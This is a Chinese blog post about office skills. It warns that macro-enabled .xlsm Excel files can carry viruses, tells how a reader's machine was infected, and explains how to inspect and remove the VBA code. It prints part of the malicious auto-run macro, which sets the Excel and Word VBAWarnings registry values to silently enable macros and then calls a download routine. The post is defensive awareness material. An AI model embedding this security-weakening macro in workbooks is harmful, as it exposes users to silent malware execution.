没想到吧！Excel文件都能传播病毒！
原创 图文教程

办公技巧 2月前 389

说出来你可能不信，Excel文件都能传播病毒！

早在今年9月初，我们群里面就有一个老师在说他在一个需要上报的一个电子表格文件有异常。

当时我就教过他怎么去删除这里面的VBA代码，没想到，同一个问题，他居然在10多天后又来问了。

在日常的工作中，我们经常需要处理一些上级发来的、或者平台导出来的Excel表格。有很多表格，需要在上传前对数据进行校验，所以在表格中加入了VBA代码，这种Excel表文件的后缀为.xlsm。

所以，有时候为了工作，不得不打开.xlsm文件。但正式因为.xlsm里面可以插入VBA代码，让病毒有了可乘之机。

这不，今天又一个小伙伴中招了，且还比较严重。

打开一个.xlsm文件后，他电脑里面的exe全都变成了同一个图标，程序的名称和版权都成了“怪兽”。

怎么判断是否有毒

其实，对.xlsm文件是否有毒的判断是很简单的，普通的杀毒软件、windows自带的杀毒，都能识别并隔离。

很多人没有安装杀毒软件，或者从隔离区还原后打开，可能就容易中招。

通常，这种VBA代码在Excel中都是加密的，你不能直接看到。但你可以使用不坑盒子的“文档加密”-“去VBA密码”来移除密码，查看里面的具体内容。

这些代码就如我聊天记录那样，执行就会从一些网址下载一些文件，放在临时目录中：

而最恐怖的代码是这一段：

Private Sub Workbook_Open()
  Dim i As Integer
  For i = 1 To ActiveWorkbook.Sheets.Count
    ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
  Next i
  
  RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\VBAWarnings", 1, "REG_DWORD"
  RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Word\Security\VBAWarnings", 1, "REG_DWORD"
  
  Application.DisplayAlerts = False
  SheetCount = Worksheets.Count
  
  Call MPS  

  ActiveWorkbook.Sheets(1).Select
  SheetsChanged = False
End Sub

只要你一打开这个.xlsm文件，就会自动执行前面截图里面下载文件的操作。这完全不给你反悔的机会，打开就执行。

所以，如果你在平时在打开.xlsm文件后发现Sheet莫名其妙被隐藏、数据丢了、系统异常等，去看看这个文件里面的VBA代码，或许就是它在搞鬼。